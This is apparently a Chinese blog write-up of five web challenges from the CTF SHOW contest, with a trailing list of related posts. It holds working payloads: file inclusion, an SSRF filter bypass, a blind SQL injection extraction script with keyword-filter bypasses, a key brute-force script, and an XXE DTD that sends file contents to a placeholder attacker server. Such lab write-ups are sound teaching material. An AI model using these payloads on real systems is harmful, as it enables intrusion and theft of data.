CTF SHOW平台的WEB AK赛:

  • 签到_观己

    <?php

    if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match('/php/i', $file)){
    die('error');
    }else{
    include($file);
    }

    }else{
    highlight_file(__FILE__);
    }

    ?>

    简单的代码审计,这里进行过滤了 php ,应该是为了禁止使用php伪协议,然后包含传入的file文件,我们可以直接猜测根目录下存在flag文件

    payload为:

    ?file=/flag.txt

    获得flag

  • WEB1_观字

    简单的代码审计

    <?php

    #flag in http://192.168.7.68/flag
    if(isset($_GET['url'])){
    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
    die('仅限http协议访问');
    }
    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
    die('仅限域名地址访问');
    }
    system('curl '.$url);
    }

    首先给出了提示:

    #flag in http://192.168.7.68/flag

    flag在内网服务器的根目录下,而我们一般都是使用SSRF漏洞进行内网探测。

    然后限制传入的url的协议只能是http

    $url = $_GET['url'];
    $protocol = substr($url, 0,7);
    if($protocol!='http://'){
    die('仅限http协议访问');
    }

    过滤了一些特殊字符

    if(preg_match('/\.|\;|\||\<|\>|\*|\%|\^|\(|\)|\#|\@|\!|\`|\~|\+|\'|\"|\.|\,|\?|\[|\]|\{|\}|\!|\&|\$|0/', $url)){
    die('仅限域名地址访问');
    }

    第一个过滤的字符就是符号 点 ,但想要探测IP的时候会用到 . ,寻找替代字符

    使用句号替代点,构造payload为:

    ?url=http://192。168。7。68/flag

  • WEB2_观星

    访问页面,可以看到有三篇文章

    点击之后可以看到每篇文章的内容不一样,且URL格式为:

    index.php?id=1

    猜测是SQL注入漏洞

    输入单引号后显示被拦截

    使用异或符号检测(为什么用异或符号?这个看个人习惯和直觉吧)

    构造payload为:

    index.php?id=1^2

    index.php?id=1^3

    1^2为01^10,结果为11,即3

    1^3为01^11,结果为10,即2

    得到的结果与我们的预想一致,存在SQL异或盲注漏洞

    SQL盲注的payload一般为(我们根据题目条件进行相应构造):

    id=1^if(ascii(substr(database(),1,1))=102,2,3)

    使用 substr 函数截取database()的每一位字母

    使用 ascii 函数获取相应字母的 ascii 码

    使用 if 判断 ascii 码 是多少,虽然二分法效率比较高,但是对边界条件需要考虑,所以一般情况下不如直接使用等号强行判断ascii值

    为真则返回2,为假则返回3

    1^2,1^3的结果在前面我们已经判断了,得到不同的文章,可以通过返回页面的结果进行判断

    原理就是这样,使用上述payload,关键字被过滤

    进行SQL注入绕过,绕过学习自羽师傅的博客:

    https://blog.csdn.net/miuzzx/article/details/107706685

    对上面的payload进行转换:

    空格使用括号来代替:这个很常见,也有的时候会使用注释来替换空格

    单引号十六进制来代替 : 常见,如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:

    select column_name from information_schema.columns where table_name=0x7573657273;

    0x7573657273为users的16进制

    substr 中的逗号,使用 substr(database() from 1 for 1) 来代替substr(database(),1,1):

    substr(database(),1,1)

    从第1位字符起,截取 database()值的第一位

    substr(database() from 1 for 1)

    对比上面的payload,就可以知道 from for 是啥意思了

    from 为从第几个字符开始,for为截取几个

    如果 for 也被过滤了,使用 mid 和 reverse 函数进行绕过

    if 中有逗号,使用 case when 来代替 if

    用法举例:

    if(database()='xxx',sleep(3),1)

    case when 替换绕过语句为:

    case when database()='xxx' then sleep(3) else 1 end

    ascii 使用 ord 来进行替换:

    ORD()函数返回字符串中第一个字符的ASCII值

    等号like 使用 regexp 来进行代替:

    关于REGEXP,有文章:https://xz.aliyun.com/t/8003

    REGEXP编写带有正则表达式的SQL语句,在全文相等的情况下替代等号

    于是可以构造payload

    id=1^case(ord(substr(database()from(1)for(1))))when(102)then(2)else(3)end

    最终获取flag的脚本为:

    import requests

    baseurl='http://426c70b1-b58c-4b5e-8e2d-abf5bde77c46.chall.ctf.show/index.php?id=1^'
    value=""
    for i in range(1,50):
    print("i=" + str(i))
    for j in range(38,128):
    # paylaod='case(ord(substr(database()from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    #paylaod='case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    # paylaod='case(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)regexp(0x666c6167))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    paylaod='case(ord(substr((select(flag)from(flag))from({})for(1))))when({})then(2)else(3)end'.format(i,j)
    # "case(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)regexp(database()))from({0})for(1))))when({1})then(2)else(3)end".format(i, j)
    newurl=baseurl+paylaod
    rep=requests.get(newurl).text
    # print(rep)
    if "I asked nothing" in rep:
    print(value)
    value+=chr(j)
    break

    做的时候学习了不少绕过的技巧

    不过这个脚本跑的时候好像最后一位跑不出来,得靠自己猜,比如出列名的时候为 fla,猜出为flag,还没发现为啥

    补齐括号提交

  • WEB3_观图

    查看源代码

    看这个样子存在文件包含漏洞,访问该网址

    看起来 Z6Ilu83MIDw= 像base64加密,解密失败

    直接访问 showImage.php 文件,发现源代码

    <?php

    //$key = substr(md5('ctfshow'.rand()),3,8);
    //flag in config.php
    include('config.php');
    if(isset($_GET['image'])){
    $image=$_GET['image'];
    $str = openssl_decrypt($image, 'bf-ecb', $key);
    if(file_exists($str)){
    header('content-type:image/gif');
    echo file_get_contents($str);
    }
    }else{
    highlight_file(__FILE__);
    }
    ?>

    从 file_get_contents 可以看出是文件包含利用

    代码里面提示了我们:

    //flag in config.php

    文件名是使用DES加密

    $str = openssl_decrypt($image, 'bf-ecb', $key);

    加密所需的key在:

    $key = substr(md5('ctfshow'.rand()),3,8);

    而PHP rand()函数产生的数值的范围最大为32768,我们可以编写脚本进行爆破,爆破脚本为:

    <?php
    for($i=0;$i<=32768;$i++){
    echo $i.'<br>';
    $key = substr(md5('ctfshow'.$i),3,8);
    $str=openssl_decrypt("Z6Ilu83MIDw=",'bf-ecb',$key);
    if(strpos($str,"gif") or strpos($str,"jpg") or strpos($str,"png")){
    echo "key is ".$i.'<br>';
    break;
    }
    }

    在线环境运行一下,可知key is 27347

    获得key后得到config.php的加密后的文件名 : ?image=N6bf8Bd8jm0SpmTZGl0isw==

    <?php
    $key = substr(md5('ctfshow'.'27347'),3,8);

    $str=openssl_encrypt("config.php",'bf-ecb',$key);
    echo $str;

    将访问到的图片保存在本地,使用notepad++打开

  • WEB4_观心

    点击占卜,可以看到api.php向外部请求了一个xml文件

    可以推测是xml外部实体注入,即XXE漏洞

    同时因为是向公网上的服务器发起请求,所以我们需要使用自己公网服务器构造攻击链

    在服务器上先编写一个test.xml

    <?xml version="1.0" encoding="utf-8"?>

    <!DOCTYPE test [

    <!ENTITY % remote SYSTEM "http://ip/test.dtd">

    %remote;%int;%send; ]>

    <reset><login>bee</login><secret>Any bugs?</secret></reset>

    用于请求外部dtd文档

    test.dtd也在服务器上

    <!ENTITY % p1 SYSTEM "php://filter/read=convert-base64.encode/resource=/flag.txt">
    <!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://ip/pass=%p1;'>">
    %p2;

    XXE漏洞还不熟,等把upload靶场重做一遍后再深入学习一下XXE,本关大部分参考其他大佬的博客

    接着burpsuite修改api参数访问即可获取flag

    获得flag:flag{0ff30e5b-b292-4026-965e-fdaa2d482c58}

参考链接:

CTF SHOW WEB_AK赛的更多相关文章

  1. CTF线下赛AWD套路小结

    近打了2场CTF线下赛,把AWD模式中的一些小套路做一些总结,本人web狗,二进制部分就不班门弄斧了. 一. AWD模式简介 AWD:Attack With Defence,比赛中每个队伍维护多台服务 ...

  2. CTF线下赛AWD模式下的生存技巧

    作者:Veneno@Nu1L 稿费:200RMB 投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿 原文:https://www.anquanke.com/post/id/8467 ...

  3. ctfshow——web_AK赛

    签到_观己 从题目描述中没发现什么有用的信息 发现文件包含 尝试使用PHP伪协议执行命令,发现无法执行 尝试使用远程文件包含,发现也未开启 尝试使用日志注入 记录了UA值,抓包写入一句话木马 使用蚁剑 ...

  4. CTF线下防御战 — 让你的靶机变成“铜墙铁壁”

    本文首发安全客,未经允许禁止转载.原文链接 一. 前言 随着CTF的普及,比赛的形式也有了越来越多的花样,对于线下赛来说,开始出现了安全加固或者防御战之类的环节,亦或者因为拿下靶机后不希望其他攻击者进 ...

  5. [DEFCON全球黑客大会] CTF(Capture The Flag)

    copy : https://baike.baidu.com/item/ctf/9548546?fr=aladdin CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的 ...

  6. CTF AWD模式攻防Note

    ###0x01 AWD模式 Attack With Defence,简而言之就是你既是一个hacker,又是一个manager.比赛形式:一般就是一个ssh对应一个web服务,然后flag五分钟一轮, ...

  7. [CTF]Capture The Flag -- 夺旗赛

    CTF(Capture The Flag) 简单介绍 CTF(Capture The Flag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式. `In co ...

  8. CTF 资源

    1.<CTF 工具集>包括web工具.渗透环境.隐形工具.逆向工具.漏洞扫描工具.sql注入工具.暴力破解工具.加解密工具等等. 参考地址:https://www.ctftools.com ...

  9. CTF基础知识 && AWD红蓝对抗

    AWD 备份源码,修改账户密码,查看是否有预留后门然后删掉 修改mysql密码 格式:mysqladmin -u用户名 -p旧密码 password 新密码 例子:mysqladmin -uroot ...

随机推荐

  1. JS基础算法题(二)

    1.1 数组去重的五种方法 数组去重:将数组中重复的元素去掉 JS数组没有删除具体元素的删除(只能删掉值,删不掉元素的索引),可以使用另外一个结构来进行存储 新数组 新对象 JS数组虽然本质可以删除第 ...

  2. pandas_01

    # Pandas 知识点总结 # Pandas数据结构:Series 和 DataFrame import pandas as pd import numpy as np # 一,Series: # ...

  3. CSS3之径向渐变

        设置最终形状参数: ellipse circle 设置长半轴和短半轴 设置椭圆对称中心 设置色标 输出代码: radial-gradient(circle closest-side at ce ...

  4. linux定时任务(crontab和at)

    查看定时任务:crontab -l [root@localhost test]# crontab -l no crontab for root 创建编辑定时任务:crontab -e [root@lo ...

  5. Java(三)常用类

    @ 目录 Java常用类 一.字符串相关的类 1.String类 2.StringBuffer类 3.StringBuilder类 二.JDK8以前的日期时间API 1.java.lang.Syste ...

  6. C/C++编程日记:逻辑井字棋(圈叉)(用空格初始化)

    问题描述: 3*3的棋盘中,只要一条线上出现三个一样的棋子就获胜(玩家或电脑):如果棋盘已经放满还未出现三个棋子一条线则打成平手. 具体细节: 初始化棋盘(用空格初始化)     //初始化棋盘 vo ...

  7. python多线程——如何停止一个死循环的线程

    进程想要执行任务就需要依赖线程.换句话说,就是进程中的最小执行单位就是线程,并且一个进程中至少有一个线程. 那什么是多线程?提到多线程这里要说两个概念,就是串行和并行,搞清楚这个,我们才能更好地理解多 ...

  8. Java8用了这么久了,Stream 流用法及语法你都知道吗?

    1.简介 Stream流 最全的用法Stream 能用来干什么?用来处理集合,通过 使用Stream API 对集合数据进行操作,就类似于使用 SQL 执行的数据库查询,Stream API 提供了一 ...

  9. 牛客练习赛60E 旗鼓相当的对手

    dsu on tree 题目链接 点我跳转 题目大意 给你一棵以\(1\)为根节点,包含\(n\)个节点的树和一个参数 \(k\),求每个节点的"\(rating\)" \(rat ...

  10. 13.java设计模式之模板模式

    基本需求: 制作豆浆的流程 选材--->添加配料--->浸泡--->放到豆浆机打碎 通过添加不同的配料,可以制作出不同口味的豆浆 选材.浸泡和放到豆浆机打碎这几个步骤对于制作每种口味 ...